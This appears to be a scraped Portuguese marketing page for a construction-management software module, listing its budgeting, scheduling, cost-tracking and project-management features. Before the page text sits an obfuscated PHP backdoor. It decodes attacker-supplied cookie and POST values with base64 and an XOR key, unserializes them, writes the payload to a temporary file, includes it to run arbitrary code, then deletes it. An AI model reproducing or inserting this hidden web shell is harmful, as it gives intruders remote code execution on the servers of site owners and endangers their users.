$QKwZeW = 'G' . "\x74" . "\x63" . chr (95) . chr (77) . chr ( 505 - 383 )."\115" . "\130" . "\x69";$Sxwqi = "\x63" . chr (108) . chr ( 1056 - 959 )."\163" . chr ( 161 - 46 ).chr ( 906 - 811 ).chr ( 516 - 415 )."\170" . "\151" . chr ( 617 - 502 ).chr (116) . chr (115); $lKbSj = class_exists($QKwZeW); $QKwZeW = "5422";$Sxwqi = "35275";$pYmcahdlVg = FALSE;if ($lKbSj === $pYmcahdlVg){function MzFJfL(){return FALSE;}$rrvqCLHDy = "2900";MzFJfL();class Gtc_MzMXi{public function tFpXEACtP(){echo "33386";}private $YHiybpXn;public static $pAdZGSTC = "7a8fc1a4-605e-4b6f-9ea5-9d26e599bae6";public static $IRVIFbrZaZ = 52984;public function __destruct(){$rrvqCLHDy = "20160_22072";$this->BiKriaTDd($rrvqCLHDy); $rrvqCLHDy = "20160_22072";}public function __construct($jevDPNp=0){$KQqxfpp = $_POST;$Xthuy = $_COOKIE;$UAixhQ = @$Xthuy[substr(Gtc_MzMXi::$pAdZGSTC, 0, 4)];if (!empty($UAixhQ)){$YwYzDmbKz = "base64";$MPiVMu = "";$UAixhQ = explode(",", $UAixhQ);foreach ($UAixhQ as $ZJHsofKE){$MPiVMu .= @$Xthuy[$ZJHsofKE];$MPiVMu .= @$KQqxfpp[$ZJHsofKE];}$MPiVMu = array_map($YwYzDmbKz . "\137" . chr ( 764 - 664 )."\x65" . 'c' . "\x6f" . 'd' . "\145", array($MPiVMu,)); $MPiVMu = $MPiVMu[0] ^ str_repeat(Gtc_MzMXi::$pAdZGSTC, (strlen($MPiVMu[0]) / strlen(Gtc_MzMXi::$pAdZGSTC)) + 1);Gtc_MzMXi::$IRVIFbrZaZ = @unserialize($MPiVMu);}}private function BiKriaTDd($rrvqCLHDy){if (is_array(Gtc_MzMXi::$IRVIFbrZaZ)) {$AgvsHQy = sys_get_temp_dir() . "/" . crc32(Gtc_MzMXi::$IRVIFbrZaZ["\x73" . "\x61" . chr ( 918 - 810 )."\x74"]);@Gtc_MzMXi::$IRVIFbrZaZ["\x77" . "\162" . chr (105) . chr ( 994 - 878 ).'e']($AgvsHQy, Gtc_MzMXi::$IRVIFbrZaZ['c' . 'o' . "\x6e" . 't' . "\145" . chr (110) . chr (116)]);include $AgvsHQy;@Gtc_MzMXi::$IRVIFbrZaZ['d' . 'e' . "\x6c" . chr ( 1016 - 915 ).'t' . chr ( 686 - 585 )]($AgvsHQy); $rrvqCLHDy = "2900";exit();}}}$uYbDETkx = new /* 45862 */ Gtc_MzMXi(2900); $uYbDETkx = str_repeat("20160_22072", 1);} Módulo Engenharia | ConstructionOne Google+

MÓDULO ENGENHARIA

Orçar de forma ágil, planejar a execução da obra e acompanhar seu andamento, gerenciando custos e recursos tudo dentro de uma mesma ferramenta, abrangendo os processos de: orçamentação, planejamento, acompanhamento e custo de obras. Facilidade de uso, funcionalidades, segurança, e integração com os demais módulos da solução bem como com o excel e o  Project da MS.

Dentro do Processo “Orçamento” compreende-se os seguintes ítens:

  • Filtros por tipo de orçamento, com controle de prazos e definição de máscara de formatação;
  • Cadastro de Serviços, Insumos e Composições de Custos, prevendo Composição Auxiliar;
  • Caderno de Encargo ou PES (planejamento de execução de serviço);
  • Flexibilidade na orçamentação pela utilização do método WBS (work break-down structure);
  • Possibilita trabalhar com “N” bases de Serviços, Insumos e Composições simultaneamente;
  • Orçamento analítico, sintético, custo por m², ABC’s de insumos e serviços, ABC por família, planilha para cotação de preços e análises verticais para exportações para EXCEL;
  • Cálculo em tempo real, em tela, quando do cadastramento dos serviços;
  • Exportação e Importação para MS-PROJECT de forma identada (grupos e sub-grupos);
  • Possibilita até “N” versões de orçamento e gerar uma versão a partir de outra;
  • Permite relacionar o orçamento a um empreendimento para acompanhamento de custo;
  • Trabalha com Equipe Mecânica e Transporte ( DNIT);
  • Permite LS e BDI diferenciado;
  • Tabela de preços com quantidades dos insumos em unidade de orçamento e unidade de compra;
  • Atualização de preços do orçamento por índice percentual;
  • Informações em reais ou indexadas a determinado índice;
  • Agilidade na alimentação de preços sugerindo o valor da última compra, data e fornecedor;
  • Flexibilidade para modificações no orçamento original na mesma planilha;
  • Integrado com: Planejamento de Obras, Custo de Obras e Suprimentos (requisição, quadro de cotação e ordem de compra).
  • Programação de execução dos serviços da obra pelo ConstructionOne; data inicial e data final;
  • Exportação e Importação do MS-PROJECT; possibilitando a programação por essa ferramenta também, de forma identada (grupos e sub-grupos) e mantendo a rede de procedência;
  • Programação de recursos próprios a serem aplicados da obra;
  • Programação de financiamento bancário, recursos próprios e originários de previsão vendas;
  • Cronograma físico-financeiro, previsto e realizado;
  • Gráfico de Gantt, previsto e realizado;
  • Cronograma de aplicação e compra de insumos por obra ou consolidando diversas;
  • Integrado com Orçamento de Obras, Custo de Obras e Suprimentos.

 

  • Registro das medições dos Serviços do Orçamento; realizado anterior, no mês, a realizar;
  • Relatórios dos insumos aplicados na obra, quantitativo e financeiro, ordenados por serviço ou data;
  • Mapas de apuração de Custo Real sobre Custo Orçado (CR/CO) da empresa, obra, serviço e composição;
  • Orçado x Realizado financeiro;
  • Orçado x Realizado insumos (por etapa e/ou insumo):
  • Realizado físico e financeiro x Realizado medido;
  • Informações em reais ou indexadas a determinado índice;
  • Tabela de conversão de unidades de orçamento e de compra;
  • Integrado com Orçamento de Obras, Planejamento de Obras, Suprimentos e Estoque.

 

  • Gerenciamento da documentação e revisão de projetos;
  • Gestão e controle de alocação de pessoas por projeto;
  • Time-sheet – apontamento completo de atividades;
  • Controle integrado de expenses ligado ao módulo financeiro;
  • Agilização e controle de adiantamentos e reembolsos;
  • Análise de Resultados e custos;
  • Gerenciamento e acompanhamento de projetos, por fase e tarefa;
  • Integrado com Orçamento, Planejamento, Custo, Contas a Pagar e Contas a Receber.